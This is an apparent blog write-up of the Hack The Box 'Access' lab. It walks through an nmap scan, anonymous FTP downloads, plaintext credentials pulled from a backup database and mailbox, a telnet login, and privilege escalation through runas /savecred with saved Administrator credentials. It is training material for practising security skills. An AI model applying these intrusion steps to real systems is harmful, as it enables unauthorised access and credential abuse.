Access: Hack The Box writeup
Mar 2, 2019 · 8 minute read · Comments
Recently I discovered Hack The Box, an online platform to hone your cyber security skills by practising on vulnerable VMs. The first box I solved is called Access. In this blog post I’ll walk through how I solved it. If you don’t want any spoilers, look away now!
Information gathering
Let’s start with an nmap scan to see what services are running on the box.
1# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 10.10.10.98
2...
3PORT STATE SERVICE REASON VERSION
421/tcp open ftp syn-ack Microsoft ftpd
5| ftp-anon: Anonymous FTP login allowed (FTP code 230)
6|_Can't get directory listing: TIMEOUT
7| ftp-syst:
8|_ SYST: Windows_NT
923/tcp open telnet syn-ack Microsoft Windows XP telnetd (no more connections allowed)
1080/tcp open http syn-ack Microsoft IIS httpd 7.5
11| http-methods:
12| Supported Methods: OPTIONS TRACE GET HEAD POST
13|_ Potentially risky methods: TRACE
14|_http-server-header: Microsoft-IIS/7.5
15|_http-title: MegaCorp
nmap has found three services running: FTP, telnet, and an HTTP server. Let’s see what’s running on the HTTP server.
It’s just a static page, showing an image. Nothing interesting, so let’s move on for now.
Anonymous FTP
nmap showed that there is an FTP server running, with anonymous login allowed. Let’s see what’s on that server
1# ftp 10.10.10.98
2Connected to 10.10.10.98.
3220 Microsoft FTP Service
4Name (10.10.10.98:root): anonymous
5331 Anonymous access allowed, send identity (e-mail name) as password.
6Password:
7230 User logged in.
8Remote system type is Windows_NT.
9ftp> ls
10200 PORT command successful.
11125 Data connection already open; Transfer starting.
1208-23-18 08:16PM <DIR> Backups
1308-24-18 09:00PM <DIR> Engineer
14226 Transfer complete.
15ftp> ls Backups
16200 PORT command successful.
17125 Data connection already open; Transfer starting.
1808-23-18 08:16PM 5652480 backup.mdb
19226 Transfer complete.
20ftp> ls Engineer
21200 PORT command successful.
22125 Data connection already open; Transfer starting.
2308-24-18 12:16AM 10870 Access Control.zip
24226 Transfer complete.
There are some interesting files here, let’s download them and analyse them
1# wget ftp://anonymous:[email protected] --no-passive-ftp --mirror
2--2019-02-02 15:37:26-- ftp://anonymous:*password*@10.10.10.98/
3 => ‘10.10.10.98/.listing’
4Connecting to 10.10.10.98:21... connected.
5Logging in as anonymous ... Logged in!
6...
7FINISHED --2019-02-02 15:37:28--
8Total wall clock time: 1.8s
9Downloaded: 5 files, 5.4M in 1.4s (3.99 MB/s)
Microsoft Access
We’ve got a .mdb file—which is a Microsoft Access database file—and a zip file. If we take a quick look at the zip file it’s password protected. We’ll have to come back the that later.
We can examine backup.mdb using MDB tools. Maybe there’s something we can use there.
1# mdb-tables Backups/backup.mdb
2acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx
It looks like there’s a lot of autogenerated tables here, but those auth_* tables look interesting.
1# mdb-export Backups/backup.mdb auth_user
2id,username,password,Status,last_login,RoleID,Remark
325,"admin","admin",1,"08/23/18 21:11:47",26,
427,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
528,"backup_admin","admin",1,"08/23/18 21:14:02",26,
Awesome! So we’ve got some credentials for engineer, and we’ve got a password protected zip file in the Engineer directory.
Microsoft Outlook
1# 7z x Access\ Control.zip
2
37-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
4p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-7820HQ CPU @ 2.90GHz (906E9),ASM,AES-NI)
5
6Scanning the drive for archives:
71 file, 10870 bytes (11 KiB)
8
9Extracting archive: Access Control.zip
10--
11Path = Access Control.zip
12Type = zip
13Physical Size = 10870
14
15
16Enter password (will not be echoed):
17Everything is Ok
18
19Size: 271360
20Compressed: 10870
21
22# ls
23'Access Control.pst' 'Access Control.zip'
That worked! Now we’ve got the mailbox backup for the engineer, but we first need to convert it to something that we can read more easily on Linux.
1# readpst Access\ Control.pst
2Opening PST file and indexes...
3Processing Folder "Deleted Items"
4 "Access Control" - 2 items done, 0 items skipped.
Let’s take a peek at the engineer’s mailbox
1# mail -f Access\ Control.mbox
2mail version v14.9.11. Type `?' for help
3'/root/10.10.10.98/Engineer/Access Control.mbox': 1 message
4▸O 1 [email protected] 2018-08-23 23:44 87/3112 MegaCorp Access Control System "security" account
5?
6[-- Message 1 -- 87 lines, 3112 bytes --]:
7From "[email protected]" Thu Aug 23 23:44:07 2018
8From: [email protected] <[email protected]>
9Subject: MegaCorp Access Control System "security" account
10To: '[email protected]'
11Date: Thu, 23 Aug 2018 23:44:07 +0000
12
13[-- #1.1 73/2670 multipart/alternative --]
14
15
16
17[-- #1.1.1 15/211 text/plain, 7bit, utf-8 --]
18
19Hi there,
20
21
22
23The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is pass
24ed on to your engineers.
25
26
27
28Regards,
29
30John
31
32
33
34[-- #1.1.2 51/2211 text/html, 7bit, us-ascii --]
35?
Another set of credentials! I wonder what these are used for? Let’s try FTP first
1# ftp 10.10.10.98
2Connected to 10.10.10.98.
3220 Microsoft FTP Service
4Name (10.10.10.98:jamie): security
5331 Password required for security.
6Password:
7530 User cannot log in.
8ftp: Login failed.
No dice ☹. The only other option is telnet.
Telnet
1# telnet 10.10.10.98
2Trying 10.10.10.98...
3Connected to 10.10.10.98.
4Escape character is '^]'.
5Welcome to Microsoft Telnet Service
6
7login: security
8password:
9
10*===============================================================
11Microsoft Telnet Server.
12*===============================================================
13C:\Users\security>
We’re in! The user.txt should be located on security’s Desktop
1C:\Users\security>dir
2 Volume in drive C has no label.
3 Volume Serial Number is 9C45-DBF0
4
5 Directory of C:\Users\security
6
702/02/2019 03:56 PM <DIR> .
802/02/2019 03:56 PM <DIR> ..
908/24/2018 07:37 PM <DIR> .yawcam
1008/21/2018 10:35 PM <DIR> Contacts
1108/28/2018 06:51 AM <DIR> Desktop
1208/21/2018 10:35 PM <DIR> Documents
1308/21/2018 10:35 PM <DIR> Downloads
1408/21/2018 10:35 PM <DIR> Favorites
1508/21/2018 10:35 PM <DIR> Links
1608/21/2018 10:35 PM <DIR> Music
1708/21/2018 10:35 PM <DIR> Pictures
1808/21/2018 10:35 PM <DIR> Saved Games
1908/21/2018 10:35 PM <DIR> Searches
2008/24/2018 07:39 PM <DIR> Videos
21 1 File(s) 964,179 bytes
22 14 Dir(s) 16,745,127,936 bytes free
23
24C:\Users\security>cd Desktop
25
26C:\Users\security\Desktop>dir
27 Volume in drive C has no label.
28 Volume Serial Number is 9C45-DBF0
29
30 Directory of C:\Users\security\Desktop
31
3208/28/2018 06:51 AM <DIR> .
3308/28/2018 06:51 AM <DIR> ..
3408/21/2018 10:37 PM 32 user.txt
35 1 File(s) 32 bytes
36 2 Dir(s) 16,744,726,528 bytes free
37
38C:\Users\security\Desktop>more user.txt
39<SNIP>
Privilege escalation
Now that we’ve got the first flag, we need to escalate to root access—or more specifically Administrator on Windows.
The .yawcam directory looks out of the ordinary.
1dir .yawcam
2 Volume in drive C has no label.
3 Volume Serial Number is 9C45-DBF0
4
5 Directory of C:\Users\security\.yawcam
6
708/24/2018 07:37 PM <DIR> .
808/24/2018 07:37 PM <DIR> ..
908/23/2018 10:52 PM <DIR> 2
1008/22/2018 06:49 AM 0 banlist.dat
1108/23/2018 10:52 PM <DIR> extravars
1208/22/2018 06:49 AM <DIR> img
1308/23/2018 10:52 PM <DIR> logs
1408/22/2018 06:49 AM <DIR> motion
1508/22/2018 06:49 AM 0 pass.dat
1608/23/2018 10:52 PM <DIR> stream
1708/23/2018 10:52 PM <DIR> tmp
1808/23/2018 10:34 PM 82 ver.dat
1908/23/2018 10:52 PM <DIR> www
2008/24/2018 07:37 PM 1,411 yawcam_settings.xml
21 4 File(s) 1,493 bytes
22 10 Dir(s) 16,764,841,984 bytes free
However poking around in there proved fruitless. Maybe there’s a way to use this, but I couldn’t figure anything out.
Let’s keep looking
1C:\Users\security>cd ../
2
3C:\Users>dir
4 Volume in drive C has no label.
5 Volume Serial Number is 9C45-DBF0
6
7 Directory of C:\Users
8
902/02/2019 04:15 PM <DIR> .
1002/02/2019 04:15 PM <DIR> ..
1108/23/2018 11:46 PM <DIR> Administrator
1202/02/2019 04:15 PM <DIR> engineer
1302/02/2019 04:14 PM <DIR> Public
1402/02/2019 04:16 PM <DIR> security
15 0 File(s) 0 bytes
16 6 Dir(s) 16,754,778,112 bytes free
Maybe one of the other users has something interesting we can use?
1C:\Users>cd engineer
2Access is denied.
I didn’t really expect that to work anyway
1C:\Users>cd Public
2
3C:\Users\Public>dir
4 Volume in drive C has no label.
5 Volume Serial Number is 9C45-DBF0
6
7 Directory of C:\Users\Public
8
902/02/2019 04:14 PM <DIR> .
1002/02/2019 04:14 PM <DIR> ..
1107/14/2009 05:06 AM <DIR> Documents
1207/14/2009 04:57 AM <DIR> Downloads
1307/14/2009 04:57 AM <DIR> Music
1407/14/2009 04:57 AM <DIR> Pictures
1507/14/2009 04:57 AM <DIR> Videos
16 1 File(s) 964,179 bytes
17 7 Dir(s) 16,723,468,288 bytes free
Wait a minute, we’re missing some of the standard Windows directories. Let’s have a closer look.
1
2C:\Users\Public>dir /A
3 Volume in drive C has no label.
4 Volume Serial Number is 9C45-DBF0
5
6 Directory of C:\Users\Public
7
802/02/2019 04:14 PM <DIR> .
902/02/2019 04:14 PM <DIR> ..
1008/28/2018 06:51 AM <DIR> Desktop
1107/14/2009 04:57 AM 174 desktop.ini
1207/14/2009 05:06 AM <DIR> Documents
1307/14/2009 04:57 AM <DIR> Downloads
1407/14/2009 02:34 AM <DIR> Favorites
1507/14/2009 04:57 AM <DIR> Libraries
1607/14/2009 04:57 AM <DIR> Music
1707/14/2009 04:57 AM <DIR> Pictures
1807/14/2009 04:57 AM <DIR> Videos
19 2 File(s) 964,353 bytes
20 10 Dir(s) 16,717,438,976 bytes free
Desktop has a much more recent modification date than everything else
1C:\Users\Public>cd Desktop
2
3C:\Users\Public\Desktop>dir
4 Volume in drive C has no label.
5 Volume Serial Number is 9C45-DBF0
6
7 Directory of C:\Users\Public\Desktop
8
908/22/2018 09:18 PM 1,870 ZKAccess3.5 Security System.lnk
10 1 File(s) 1,870 bytes
11 0 Dir(s) 16,711,475,200 bytes free
That’s because there’s a shortcut there.
Now, I’m not sure of the best way to view a .lnk on cmd.exe via telnet, but this is what I came up with. If anyone knows of a better way, please let me know!
1C:\Users\Public\Desktop>type "ZKAccess3.5 Security System.lnk"
2L�F�@ ��7���7���#�P/P�O� �:i�+00�/C:\R1M�:Windows��:��M�:*wWindowsV1MV�System32��:��MV�*�System32X2P�:�
3 runas.exe��:1��:1�*Yrunas.exeL-K��E�C:\Windows\System32\runas.exe#..\..\..\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"'C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%�
4 �wN���]N�D.��Q���`�Xaccess�_���8{E�3
5 O�j)�H���
6 )ΰ[�_���8{E�3
7 O�j)�H���
8 )ΰ[� ��1SPS�XF�L8C���&�m�e*S-1-5-21-953262931-566350628-63446256-500
It’s a bit difficult to read, but it looks like the shortcut runs a program as the Administrator using saved credentials. We can use that.
1C:\Users\Public\Desktop>runas /user:Administrator /savecred "cmd.exe /c more C:\Users\Administrator\Desktop\root.txt > C:\Users\Public\Desktop\output.txt"
Did it work?
1C:\Users\Public\Desktop>more output.txt
2<SNIP>
Yes! From there we could generate a reverse shell using msfvenom and run that as Administrator, but I’ve got the flag so I’ll leave it there for now.